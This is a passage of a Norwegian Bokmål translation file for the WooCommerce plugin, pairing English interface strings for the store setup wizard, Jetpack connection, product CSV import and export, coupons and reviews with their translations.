#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:213
msgid "Send order details to customer"
msgstr "Send ordredetaljer til kunden"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:654
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:868
#: includes/export/class-wc-product-csv-exporter.php:172
msgid "Position"
msgstr "Posisjon"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:515
msgid "Upload a new file"
msgstr "Last opp en ny fil"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:511
msgid "The file is empty or using a different encoding than UTF-8, please try again with a new file."
msgstr "Filen er tom eller bruker et annet tegnsett enn UTF-8, vennligst prøv igjen med en ny fil."
#: includes/admin/helper/views/html-main.php:87
msgid "Lifetime Subscription"
msgstr "Livstid abonnement"
#: includes/admin/helper/views/html-main.php:44
msgid "Sort by:"
msgstr "Sorter på:"
#. translators: Introduction to list of WooCommerce.com extensions the merchant
#. has subscriptions for.
#: includes/admin/helper/views/html-main.php:25
msgid "Below is a list of extensions available on your WooCommerce.com account. To receive extension updates please make sure the extension is installed, and its subscription activated and connected to your WooCommerce.com account. Extensions can be activated from the <a href=\"%s\">Plugins</a> screen."
msgstr "Nedenfor er en liste over utvidelser tilgjengelig på WooCommerce.com-kontoen din. For å motta utvidelsesoppdateringer, må du kontrollere at utvidelsen er installert, og abonnementet er aktivert og koblet til WooCommerce.com-kontoen din. Utvidelser kan aktiveres fra <a href=\"%s\">Utvidelser</a>-skjermen."
#: includes/admin/helper/class-wc-helper.php:474
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/wp-admin-scripts/woo-product-usage-notice.js:2
msgid "Expired"
msgstr "Utløpt"
#: includes/admin/helper/class-wc-helper.php:473
msgid "Expiring Soon"
msgstr "Utløper snart"
#: includes/admin/helper/class-wc-helper.php:472
msgid "Update Available"
msgstr "Oppatering tilgjengelig"
#. translators: 1: WooCommerce 2:: five stars
#: includes/admin/class-wc-admin.php:297
msgid "If you like %1$s please leave us a %2$s rating. A huge thanks in advance!"
msgstr "Hvis du liker %1$s vennligst legg igjen en %2$s-vurdering. På forhånd tusen takk!"
#: includes/admin/class-wc-admin-setup-wizard.php:2277
msgid "Transfer existing products to your new store — just import a CSV file."
msgstr "Overfør eksisterende produkter til din nye butikk — bare importer en CSV-fil."
#: includes/admin/class-wc-admin-setup-wizard.php:2276
#: includes/admin/class-wc-admin-setup-wizard.php:2282
#: assets/client/admin/chunks/5875.js:1
msgid "Import products"
msgstr "Importer produkter"
#: includes/admin/class-wc-admin-setup-wizard.php:2275
msgid "Have an existing store?"
msgstr "Har du en butikk fra før?"
#: includes/admin/class-wc-admin-setup-wizard.php:2268
msgid "Create a product"
msgstr "Opprett et produkt"
#: includes/admin/class-wc-admin-setup-wizard.php:2248
#: includes/admin/class-wc-admin-setup-wizard.php:2252
msgid "Yes please!"
msgstr "Ja takk!"
#: includes/admin/class-wc-admin-setup-wizard.php:2234
msgid "We're here for you — get tips, product updates, and inspiration straight to your mailbox."
msgstr "Vi er her for deg — få tips, produktoppdateringer og inspirasjon rett i din e-post inboks."
#: includes/admin/class-wc-admin-setup-wizard.php:2231
msgid "You're ready to start selling!"
msgstr "Du er klar for å begynne å selge!"
#: includes/admin/class-wc-admin-setup-wizard.php:2188
msgid "Your site might be on a private network. Jetpack can only connect to public sites. Please make sure your site is visible over the internet, and then try connecting again 🙏."
msgstr "Nettstedet ditt kan være på et privat nettverk. Jetpack kan bare koble til offentlige nettsteder. Sørg for at nettstedet ditt er synlig på internett, og prøv deretter å koble til igjen 🙏."
#: includes/admin/class-wc-admin-setup-wizard.php:2187
msgid "Sorry! We couldn't contact Jetpack just now 😭. Please make sure that your site is visible over the internet, and that it accepts incoming and outgoing requests via curl. You can also try to connect to Jetpack again, and if you run into any more issues, please contact support."
msgstr "Beklager! Vi kunne ikke kontakte Jetpack akkurat nå 😭. Sørg for at nettstedet ditt er synlig på internett, og at det aksepterer innkommende og utgående forespørsler via curl. Du kan også prøve å koble til Jetpack igjen, og hvis du har problemer med å løse problemer, vennligst kontakt support."
#: includes/admin/class-wc-admin-setup-wizard.php:2186
msgid "Sorry! We tried, but we couldn't install Jetpack for you 😭. Please go to the Plugins tab to install it, and finish setting up your store."
msgstr "Beklager! Vi prøvde, men vi kunne ikke installere Jetpack for deg 😭. Gå til utvidelser-fanen for å installere den, og fullfør oppsett av butikken din."
#: includes/admin/class-wc-admin-setup-wizard.php:2185
msgid "Sorry! We tried, but we couldn't connect Jetpack just now 😭. Please go to the Plugins tab to connect Jetpack, so that you can finish setting up your store."
msgstr "Beklager! Vi prøvde, men vi kunne ikke koble Jetpack akkurat nå 😭. Gå til utvidelser-fanen for å koble til Jetpack, slik at du kan fullføre oppsettet av butikken din."
#: includes/admin/class-wc-admin-setup-wizard.php:2169
msgid "Share new items on social media the moment they're live in your store."
msgstr "Del nye produkter på sosiale medier så snart de blir lagt til i butikken din."
#: includes/admin/class-wc-admin-setup-wizard.php:2166
msgid "Product promotion"
msgstr "Produkt fremming"
#: includes/admin/class-wc-admin-setup-wizard.php:2161
msgid "Get an alert if your store is down for even a few minutes."
msgstr "Få et varsel når butikken er nede selv for kun noen få minutter."
#: includes/admin/class-wc-admin-setup-wizard.php:2158
msgid "Store monitoring"
msgstr "Butikk overvåkning"
#: includes/admin/class-wc-admin-setup-wizard.php:2153
msgid "Get insights on how your store is doing, including total sales, top products, and more."
msgstr "Få innsikt i hvordan det går med butikken din, inkludert total salg, topp-produkter, og mere til."
#: includes/admin/class-wc-admin-setup-wizard.php:2150
msgid "Store stats"
msgstr "Butikk-statistikker"
#: includes/admin/class-wc-admin-setup-wizard.php:2145
msgid "Protect your store from unauthorized access."
msgstr "Beskytt butikken din mot uautorisert tilgang."
#: includes/admin/class-wc-admin-setup-wizard.php:2142
msgid "Better security"
msgstr "Bedre sikkerhet"
#: includes/admin/class-wc-admin-setup-wizard.php:2134
msgid "Bonus reasons you'll love Jetpack"
msgstr "Ekstra grunner til å elske Jetpack"
#: includes/admin/class-wc-admin-setup-wizard.php:2117
msgid "By connecting your site you agree to our fascinating <a href=\"%1$s\" target=\"_blank\">Terms of Service</a> and to <a href=\"%2$s\" target=\"_blank\">share details</a> with WordPress.com"
msgstr "Ved å koble til nettstedet ditt godtar du våre fascinerende <a href=\"%1$s\" target=\"_blank\">bruksvilkår</a> og å <a href=\"%2$s\" target=\"_blank\">dele detaljer </a> med WordPress.com"
#: includes/admin/class-wc-admin-setup-wizard.php:2110
msgid "Finish setting up your store"
msgstr "Fullfør oppsett av butikken din"
#: includes/admin/class-wc-admin-setup-wizard.php:2070
msgid "Connect your store to Jetpack to enable extra features"
msgstr "Koble butikken din til Jetpack for å aktivere ekstra funksjonalitet"
#: includes/admin/class-wc-admin-setup-wizard.php:2069
msgid "Connect your store to Jetpack"
msgstr "Koble butikken din til Jetpack"
#: includes/admin/class-wc-admin-setup-wizard.php:2048
msgid "Sorry, we couldn't connect your store to Jetpack"
msgstr "Beklager, vi kunne ikke koble butikken din til Jetpack"
#: includes/admin/class-wc-admin-setup-wizard.php:2026
msgid "automated taxes"
msgstr "automatiske avgifter"
#: includes/admin/class-wc-admin-setup-wizard.php:2016
msgid "payment setup, automated taxes and discounted shipping labels"
msgstr "betalingsinnstillinger, automatisk avgiftsberegning og fraktetiketter med rabatt"
#. translators: %s: list of features, potentially comma separated
#: includes/admin/class-wc-admin-setup-wizard.php:2060
msgid "Your store is almost ready! To activate services like %s, just connect with Jetpack."
msgstr "Butikken din er nesten ferdig! For å aktivere tjenester som %s, er det bare å koble til Jetpack."
#: includes/admin/class-wc-admin-setup-wizard.php:1909
msgid "Automated Taxes"
msgstr "Automatiske avgiftssatser"
#: includes/admin/class-wc-admin-setup-wizard.php:1892
msgid "Storefront Theme"
msgstr "Storefront-tema"
#: includes/admin/class-wc-admin-setup-wizard.php:1803
msgid "Collect payments from customers offline."
msgstr "Ta i mot frakoblede betalinger fra kunder."
#. translators: %s: Link
#: includes/admin/class-wc-admin-setup-wizard.php:1767
msgid "WooCommerce can accept both online and offline payments. <a href=\"%s\" target=\"_blank\">Additional payment methods</a> can be installed later."
msgstr "WooCommerce aksepterer både nettbetalinger og frakoblede betalinger. <a href=\"%s\" target=\"_blank\">Flere betalingsmåter</a> kan installeres senere."
#: includes/admin/class-wc-admin-setup-wizard.php:1461
msgid "PayPal email address:"
msgstr "PayPal e-postaddresse:"
#: includes/admin/class-wc-admin-setup-wizard.php:1424
msgid "Stripe email address"
msgstr "Stripe e-post adresse"
#: includes/admin/class-wc-admin-setup-wizard.php:1421
msgid "Stripe email address:"
msgstr "Stripe e-post adresse:"
#: includes/admin/class-wc-admin-setup-wizard.php:1067
#: assets/client/blocks/wc-blocks-google-analytics.js:1
msgid "Shipping Method"
msgstr "Fraktmåte"
#: includes/admin/class-wc-admin-setup-wizard.php:1064
msgid "Shipping Zone"
msgstr "Fraktsone"
#: includes/admin/class-wc-admin-setup-wizard.php:874
msgid "Don't charge for shipping."
msgstr "Ikke ta betalt for frakt."
#: includes/admin/class-wc-admin-setup-wizard.php:867
msgid "What would you like to charge for flat rate shipping?"
msgstr "Hva vil du ta betalt for frakt med fastpris?"
#: includes/admin/class-wc-admin-setup-wizard.php:862
msgid "Set a fixed price to cover shipping costs."
msgstr "Sett en fast pris for å dekke fraktkostnadene."
#: includes/admin/class-wc-admin-setup-wizard.php:861
msgid "Flat Rate"
msgstr "Fastpris"
#: includes/admin/class-wc-admin-setup-wizard.php:786
#: includes/admin/class-wc-admin-setup-wizard.php:826
#: src/Admin/API/Plugins.php:452
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:372
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "Jetpack"
msgstr "Jetpack"
#: includes/admin/class-wc-admin-setup-wizard.php:574
msgid "I plan to sell both physical and digital products"
msgstr "Jeg planlegger å selge både fysiske og digitale produkter"
#: includes/admin/class-wc-admin-setup-wizard.php:576
msgid "I plan to sell digital products"
msgstr "Jeg skal selge digitale produkter"
#: includes/admin/class-wc-admin-setup-wizard.php:575
msgid "I plan to sell physical products"
msgstr "Jeg skal selge fysiske produkter"
#: includes/admin/class-wc-admin-setup-wizard.php:571
msgid "What type of products do you plan to sell?"
msgstr "Hva slags produkter skal du selge?"
#: includes/admin/class-wc-admin-setup-wizard.php:500
msgid "The following wizard will help you configure your store and get you started quickly."
msgstr "Følgende veiviser hjelper deg med å konfigurere butikken din og komme raskt i gang."
#: includes/admin/class-wc-admin-setup-wizard.php:251
#: src/Internal/StockNotifications/Admin/ListTable.php:313
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:49
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:51
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:53
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/chunks/multichannel-marketing.js:1
#: assets/client/admin/chunks/settings-payments-main.js:1
#: assets/client/admin/chunks/shipping-recommendations.js:1
msgid "Activate"
msgstr "Aktiver"
#: includes/admin/class-wc-admin-setup-wizard.php:231
msgid "Store setup"
msgstr "Butikkoppsett"
#: includes/admin/class-wc-admin-post-types.php:867
msgid "Terms and Conditions Page"
msgstr "Side for salgsbetingelser"
#: includes/admin/class-wc-admin-post-types.php:863
msgid "My Account Page"
msgstr "Min konto side"
#: includes/admin/class-wc-admin-post-types.php:859
#: assets/client/blocks/page-content-wrapper.js:1
msgid "Checkout Page"
msgstr "Kasseside"
#: includes/admin/class-wc-admin-post-types.php:855
#: assets/client/blocks/page-content-wrapper.js:1
msgid "Cart Page"
msgstr "Handlekurvside"
#: includes/admin/class-wc-admin-post-types.php:851
msgid "Shop Page"
msgstr "Butikkside"
#. translators: %s: date
#: includes/admin/class-wc-admin-post-types.php:169
msgid "Coupon scheduled for: %s."
msgstr "Rabattkode planlagt for: %s."
#. translators: %s: date
#: includes/admin/class-wc-admin-post-types.php:208
msgid "Order scheduled for: %s."
msgstr "Ordren planlagt for: %s."
#. translators: %s: extensions count
#: includes/admin/class-wc-admin-menus.php:214
msgid "Extensions %s"
msgstr "Utvidelser %s"
#: includes/admin/class-wc-admin-assets.php:637
msgid "Enter a fixed amount or percentage to apply as a fee."
msgstr "Legg inn et fast beløp eller en prosentdel som gebyr."
#: includes/abstracts/abstract-wc-order.php:1276
#: includes/class-wc-ajax.php:1330 includes/class-wc-discounts.php:251
#: src/Internal/Orders/CouponsController.php:70
msgid "Invalid coupon"
msgstr "Ugyldig rabattkode"
#. translators: %s: $key Key to check
#: includes/abstracts/abstract-wc-data.php:343
msgid "Generic add/update/get meta methods should not be used for internal meta data, including \"%s\". Use getters and setters."
msgstr "Generiske add/update/get meta metoder bør ikke brukes til interne metadata, inkludert \"%s\". Bruk getters og setters."
#: i18n/states.php:286
msgid "Zug"
msgstr "Zug"
#: i18n/states.php:285
msgid "Vaud"
msgstr "Vaud"
#: i18n/states.php:284
msgid "Valais"
msgstr "Valais"
#: i18n/states.php:283
msgid "Uri"
msgstr "Uri"
#: i18n/states.php:282
msgid "Ticino"
msgstr "Ticino"
#: i18n/states.php:281
msgid "Thurgau"
msgstr "Thurgau"
#: i18n/states.php:280
msgid "St. Gallen"
msgstr "St. Gallen"
#: i18n/states.php:279
msgid "Solothurn"
msgstr "Solothurn"
#: i18n/states.php:278
msgid "Schwyz"
msgstr "Schwyz"
#: i18n/states.php:277
msgid "Schaffhausen"
msgstr "Schaffhausen"
#: i18n/states.php:276
msgid "Obwalden"
msgstr "Obwalden"
#: i18n/states.php:275
msgid "Nidwalden"
msgstr "Nidwalden"
#: i18n/states.php:273
msgid "Luzern"
msgstr "Luzern"
#: i18n/states.php:272
msgid "Jura"
msgstr "Jura"
#: i18n/states.php:270
msgid "Glarus"
msgstr "Glarus"
#: i18n/states.php:269
msgid "Geneva"
msgstr "Geneva"
#: i18n/states.php:268
msgid "Fribourg"
msgstr "Fribourg"
#: i18n/states.php:267
msgid "Bern"
msgstr "Bern"
#: i18n/states.php:266
msgid "Basel-Stadt"
msgstr "Basel-Stadt"
#: i18n/states.php:265
msgid "Basel-Landschaft"
msgstr "Basel-Landschaft"
#: i18n/states.php:264
msgid "Appenzell Innerrhoden"
msgstr "Appenzell Innerrhoden"
#: i18n/states.php:263
msgid "Appenzell Ausserrhoden"
msgstr "Appenzell Ausserrhoden"
#: i18n/states.php:262
msgid "Aargau"
msgstr "Aargau"
#: i18n/states.php:53
msgid "Zaire"
msgstr "Zaire"
#: i18n/states.php:52
msgid "Uíge"
msgstr "Uíge"
#: i18n/states.php:51
msgid "Namibe"
msgstr "Namibe"
#: i18n/states.php:50
msgid "Moxico"
msgstr "Moxico"
#: i18n/states.php:49
msgid "Malanje"
msgstr "Malanje"
#: i18n/states.php:48
msgid "Lunda-Sul"
msgstr "Lunda-Sul"
#: i18n/states.php:47
msgid "Lunda-Norte"
msgstr "Lunda-Norte"
#: i18n/states.php:46
msgid "Luanda"
msgstr "Luanda"
#: i18n/states.php:45
msgid "Kwanza-Sul"
msgstr "Kwanza-Sul"
#: i18n/states.php:44
msgid "Kwanza-Norte"
msgstr "Kwanza-Norte"
#: i18n/states.php:43
msgid "Kuando Kubango"
msgstr "Kuando Kubango"
#: i18n/states.php:41
msgid "Huambo"
msgstr "Huambo"
#: i18n/states.php:40
msgid "Cunene"
msgstr "Cunene"
#: i18n/states.php:39
msgid "Cabinda"
msgstr "Cabinda"
#: i18n/states.php:38
msgid "Bié"
msgstr "Bié"
#: i18n/states.php:37
msgid "Benguela"
msgstr "Benguela"
#: i18n/states.php:36
msgid "Bengo"
msgstr "Bengo"
#. translators: %s: image URL
#: includes/import/abstract-wc-product-importer.php:648
msgid "Unable to use image \"%s\"."
msgstr "Kunne ikke bruke bilde \"%s\"."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-locations-v2-controller.php:92
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:176
msgid "The \"locations not covered by your other zones\" zone cannot be updated."
msgstr "\"Plasseringer ikke dekket av dine andre soner\"-sonen kunne ikke oppdateres."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:260
msgid "Product categories that the coupon will not be applied to, or that cannot be in the cart in order for the \"Fixed cart discount\" to be applied."
msgstr "Produktkategorier som rabattkoden ikke vil kunne brukes på, eller som ikke kan være i handlekurven for at «Fast handlekurvrabatt» skal bli brukt."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:242
msgid "Product categories that the coupon will be applied to, or that need to be in the cart in order for the \"Fixed cart discount\" to be applied."
msgstr "Produktkategorier som rabattkoden vil bli brukt på, eller som må være i handlekurven for at «Fast handlekurvrabatt» skal bli brukt."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:221
msgid "Products that the coupon will not be applied to, or that cannot be in the cart in order for the \"Fixed cart discount\" to be applied."
msgstr "Produkter som rabattkoden ikke vil bli brukt på, eller som ikke kan være i handlekurven for at «Fast handlekurvrabatt» skal bli brukt."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:203
msgid "Products that the coupon will be applied to, or that need to be in the cart in order for the \"Fixed cart discount\" to be applied."
msgstr "Produkter som rabattkoden vil bli brukt på, eller som må være i handlekurven for at «Fast handlekurvrabatt» skal bli brukt."
#. translators: 1: rating 2: rating count
#. translators: %1$s is referring to the average rating value, %2$s is
#. referring to the number of ratings
#: includes/wc-template-functions.php:3991
#: assets/client/blocks/all-products.js:15
#: assets/client/blocks/cart-frontend.js:6 assets/client/blocks/cart.js:17
#: assets/client/blocks/product-rating-frontend.js:3
#: assets/client/blocks/product-rating-stars-frontend.js:3
#: assets/client/blocks/product-rating-stars.js:3
#: assets/client/blocks/product-rating.js:3
msgid "Rated %1$s out of 5 based on %2$s customer rating"
msgid_plural "Rated %1$s out of 5 based on %2$s customer ratings"
msgstr[0] "Vurdert %1$s av 5 basert på %2$s kundevurdering"
msgstr[1] "Vurdert %1$s av 5 basert på %2$s kundevurderinger"
#: includes/wc-product-functions.php:1017
msgid "Search results only"
msgstr "Kun søkeresultater"
#: includes/wc-product-functions.php:1016
msgid "Shop only"
msgstr "Kun butikk"
#: includes/wc-product-functions.php:1015
msgid "Shop and search results"
msgstr "Butikk og søkeresultater"
#: includes/shortcodes/class-wc-shortcode-checkout.php:119
msgid "This order cannot be paid for. Please contact us if you need assistance."
msgstr "Denne ordren kan ikke betales. Ta kontakt med oss hvis du trenger hjelp."
#: includes/shortcodes/class-wc-shortcode-checkout.php:100
msgid "Please log in to your account below to continue to the payment form."
msgstr "Vennligst logg inn på din konto nedenfor for å fortsette til betalingssiden."
#: includes/import/class-wc-product-csv-importer.php:1201
msgid "No matching product exists to update."
msgstr "Det finnes ingen passende produkter å oppdatere."
#: includes/import/class-wc-product-csv-importer.php:1177
msgid "A product with this SKU already exists."
msgstr "Et produkt med dette nummeret eksisterer allerede."
#: includes/import/class-wc-product-csv-importer.php:1189
msgid "A product with this ID already exists."
msgstr "Et produkt med denne ID-en eksisterer allerede."
#. translators: %s: product SKU
#: includes/import/class-wc-product-csv-importer.php:1128
msgid "SKU %s"
msgstr "Produktnr. %s"
#. translators: %d: product ID
#: includes/import/class-wc-product-csv-importer.php:1124
msgid "ID %d"
msgstr "ID %d"
#. translators: %s: image URL
#: includes/import/abstract-wc-product-importer.php:639
msgid "Not able to attach \"%s\"."
msgstr "Ikke i stand til å legge ved \"%s\"."
#: includes/import/abstract-wc-product-importer.php:467
msgid "Variation cannot be imported: Missing parent ID or parent does not exist yet."
msgstr "Varianten kunne ikke importeres: Forelder-ID mangler eller forelder finnes ikke ennå."
#. translators: %d: product ID
#: includes/import/abstract-wc-product-importer.php:206
msgid "Invalid product ID %d."
msgstr "Ugyldig produkt-ID %d."
#: includes/import/abstract-wc-product-importer.php:181
msgid "Invalid product type."
msgstr "Ugyldig produkttype."
#: includes/emails/class-wc-email-customer-invoice.php:220
msgid "Subject (paid)"
msgstr "Emne (betalt)"
#. translators: %s: Available placeholders for use
#. translators: %s: list of placeholders
#: includes/admin/settings/class-wc-settings-emails.php:220
#: includes/emails/class-wc-email-cancelled-order.php:178
#: includes/emails/class-wc-email-customer-cancelled-order.php:177
#: includes/emails/class-wc-email-customer-invoice.php:201
#: includes/emails/class-wc-email-customer-pos-completed-order.php:202
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:311
#: includes/emails/class-wc-email-customer-refunded-order.php:292
#: includes/emails/class-wc-email-failed-order.php:179
#: includes/emails/class-wc-email-new-order.php:207
#: includes/emails/class-wc-email.php:1078
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:285
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:247
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:271
msgid "Available placeholders: %s"
msgstr "Tilgjengelige plassholdere: %s"
#: includes/data-stores/class-wc-order-data-store-cpt.php:556
msgid "Invalid customer query."
msgstr "Ugyldig kundeforespørsel."
#: includes/class-wc-post-types.php:330 includes/class-wc-post-types.php:395
#: includes/react-admin/connect-existing-pages.php:145
#: includes/react-admin/connect-existing-pages.php:188
#: includes/react-admin/connect-existing-pages.php:218
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:323
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:358
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:21
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notifications.php:19
msgid "Add New"
msgstr "Legg til nytt"
#: includes/class-wc-post-types.php:328
#: assets/client/admin/chunks/analytics-report-stock.js:1
msgid "All Products"
msgstr "Alle produkter"
#. translators: use local order of street name and house number.
#: includes/class-wc-countries.php:802
msgid "House number and street name"
msgstr "Adresse"
#: includes/class-wc-ajax.php:2404
msgid "API Key generated successfully. Make sure to copy your new keys now as the secret key will be hidden once you leave this page."
msgstr "API-nøkkel ble generert. Pass på å kopiere dine nye nøkler nå, da den hemmelige nøkkelen vil bli skjult når du forlater denne siden."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2075
msgid "List of upsell products IDs."
msgstr "Liste over oppsalg produkt-ID'er."
#. Translators: %s: page name.
#: includes/admin/views/html-admin-page-status-report.php:868
msgid "The URL of your %s page (along with the Page ID)."
msgstr "Nettadressen til deres «%s»-side (sammen med side-id)"
#: includes/admin/views/html-admin-page-status-report.php:91
msgid "The homepage URL of your site."
msgstr "Nettadressen til nettstedets hjemmeside."
#: includes/admin/views/html-admin-page-product-export.php:144
msgid "Generate CSV"
msgstr "Generer CSV"
#: includes/admin/views/html-admin-page-product-export.php:135
msgid "Yes, export all custom meta"
msgstr "Ja, eksporter all tilpasset meta"
#: includes/admin/views/html-admin-page-product-export.php:131
msgid "Export custom meta?"
msgstr "Eksporter tilpasset meta?"
#: includes/admin/class-wc-admin-exporters.php:227
msgid "Product variations"
msgstr "Produktvarianter"
#: includes/admin/views/html-admin-page-product-export.php:99
msgid "Export all products"
msgstr "Eksporter alle produkter"
#: includes/admin/views/html-admin-page-product-export.php:96
msgid "Which product types should be exported?"
msgstr "Hvilke produkttyper skal eksporteres?"
#: includes/admin/views/html-admin-page-product-export.php:82
msgid "Export all columns"
msgstr "Eksporter alle kolonner"
#: includes/admin/views/html-admin-page-product-export.php:79
msgid "Which columns should be exported?"
msgstr "Hvilke kolonner skal eksporteres?"
#: includes/admin/views/html-admin-page-product-export.php:69
msgid "This tool allows you to generate and download a CSV file containing a list of all products."
msgstr "Dette verktøyet lar deg generere og laste ned en CSV-fil med en liste over alle produkter."
#: includes/admin/views/html-admin-page-product-export.php:63
msgid "Export products to a CSV file"
msgstr "Eksporter produkter til en CSV-fil"
#: includes/admin/views/html-admin-page-product-export.php:28
#: includes/react-admin/connect-existing-pages.php:248
msgid "Export Products"
msgstr "Eksporter produkter"
#: includes/admin/settings/views/html-webhooks-edit.php:83
msgid "Product restored"
msgstr "Produkt gjenopprettet"
#: includes/admin/settings/views/html-webhooks-edit.php:79
msgid "Order restored"
msgstr "Ordre gjenopprettet"
#: includes/admin/settings/views/html-webhooks-edit.php:72
msgid "Coupon restored"
msgstr "Rabattkode gjenopprettet"
#: includes/admin/class-wc-admin-setup-wizard.php:1086
#: includes/data-stores/class-wc-shipping-zone-data-store.php:93
msgid "Locations not covered by your other zones"
msgstr "Plasseringer ikke dekket av dine andre soner"
#: includes/admin/settings/class-wc-settings-products.php:207
msgid "Star ratings should be required, not optional"
msgstr "Stjernevurdering skal være påkrevd, ikke valgfritt"
#: includes/admin/settings/class-wc-settings-products.php:198
msgid "Enable star rating on reviews"
msgstr "Aktiver stjernevurdering for omtaler"
#: includes/admin/settings/class-wc-settings-products.php:187
#: includes/class-wc-comments.php:661
msgid "Reviews can only be left by \"verified owners\""
msgstr "Omtaler kan kun opprettes av \"bekreftede eiere\""
#: includes/admin/settings/class-wc-settings-products.php:168
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:598
#: assets/client/admin/product-editor/index.js:2
msgid "Enable product reviews"
msgstr "Aktiver omtaler"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:106
msgid "Set Status - Out of stock"
msgstr "Angi status - Utsolgt"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:105
msgid "Set Status - In stock"
msgstr "Angi status - På lager"
#: includes/admin/importers/views/html-product-csv-import-form.php:114
msgid "Show advanced options"
msgstr "Vis avanserte innstillinger"
#: includes/admin/importers/views/html-product-csv-import-form.php:114
msgid "Hide advanced options"
msgstr "Skjul avanserte innstillinger"
#: includes/admin/importers/views/html-product-csv-import-form.php:74
msgid "CSV Delimiter"
msgstr "CSV Skilletegn"
#: includes/admin/importers/views/html-product-csv-import-form.php:65
msgid "Alternatively, enter the path to a CSV file on your server:"
msgstr "Eller, legg inn stien til en CSV-fil på din server:"
#: includes/admin/importers/views/html-product-csv-import-form.php:56
msgid "Update existing products"
msgstr "Oppdater eksisterende produkter"
#: includes/admin/importers/views/html-product-csv-import-form.php:23
msgid "Choose a CSV file from your computer:"
msgstr "Velg en CSV-fil fra din datamaskin:"
#: includes/admin/importers/views/html-product-csv-import-form.php:15
msgid "This tool allows you to import (or merge) product data to your store from a CSV or TXT file."
msgstr "Dette verktøyet lar deg importere (eller slå sammen) produktdata til butikken din fra en CSV- eller TXT-fil."
#: includes/admin/importers/views/html-csv-import-progress.php:16
msgid "Your products are now being imported..."
msgstr "Dine produkter blir nå importert ..."
#: includes/admin/importers/views/html-csv-import-progress.php:15
msgid "Importing"
msgstr "Importerer"
#: includes/admin/importers/views/html-csv-import-mapping.php:59
msgid "Run the importer"
msgstr "Start importøren"
#: includes/admin/importers/views/html-csv-import-mapping.php:38
msgid "Do not import"
msgstr "Ikke importer"
#: includes/admin/importers/views/html-csv-import-mapping.php:32
msgid "Sample:"
msgstr "Eksempel:"
#: includes/admin/importers/views/html-csv-import-mapping.php:22
msgid "Map to field"
msgstr "Knytt til felt"
#: includes/admin/importers/views/html-csv-import-mapping.php:21
msgid "Column name"
msgstr "Kolonnenavn"
#: includes/admin/importers/views/html-csv-import-mapping.php:15
msgid "Select fields from your CSV file to map against products fields, or to ignore during import."
msgstr "Velg felt fra din CSV-fil for å knytte til produkt-felt, eller for å hoppe over under import."
#: includes/admin/importers/views/html-csv-import-mapping.php:14
msgid "Map CSV fields to products"
msgstr "Knytt CSV-felt til produkter"
#: includes/admin/importers/views/html-csv-import-header.php:13
#: includes/react-admin/connect-existing-pages.php:238
msgid "Import Products"
msgstr "Importer produkter"
#: includes/admin/importers/views/html-csv-import-done.php:78
msgid "Reason for failure"
msgstr "Årsak til feilen"
#. translators: %d: import results
#: includes/admin/importers/views/html-csv-import-done.php:70
msgid "Import complete!"
msgstr "Import ferdig!"
#: includes/admin/importers/views/html-csv-import-done.php:58
msgid "View import log"
msgstr "Vis import log"
#. translators: %d: products count
#: includes/admin/importers/views/html-csv-import-done.php:52
msgid "Failed to import %s product"
msgid_plural "Failed to import %s products"
msgstr[0] "Feil ved import av %s produkt"
msgstr[1] "Feil ved import av %s produkter"
#. translators: %d: products count
#: includes/admin/importers/views/html-csv-import-done.php:44
msgid "%s product was skipped"
msgid_plural "%s products were skipped"
msgstr[0] "%s produkt ble hoppet over"
msgstr[1] "%s produkter ble hoppet over"
#. translators: %d: products count
#: includes/admin/importers/views/html-csv-import-done.php:28
msgid "%s product updated"
msgid_plural "%s products updated"
msgstr[0] "%s produkt oppdatert"
msgstr[1] "%s produkter oppdatert"
#. translators: %d: products count
#: includes/admin/importers/views/html-csv-import-done.php:20
msgid "%s product imported"
msgid_plural "%s products imported"
msgstr[0] "%s produkt importert"
msgstr[1] "%s produkter importert"
#: includes/admin/importers/mappings/generic.php:24
msgid "Parent SKU"
msgstr "Forelder-produktnr"
#: includes/admin/importers/mappings/generic.php:22
#: assets/client/blocks/product-reviews-title.js:6
msgid "Product Title"
msgstr "Produkt tittel"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:862
msgid "Default attribute"
msgstr "Standardattributt"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:861
msgid "Attribute visibility"
msgstr "Attributt-synlighet"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:860
msgid "Is a global attribute?"
msgstr "Er en global attributt?"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:859
msgid "Attribute value(s)"
msgstr "Attributt verdi(er)"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:858
#: assets/client/admin/components/index.js:2
msgid "Attribute name"
msgstr "Attributt navn"
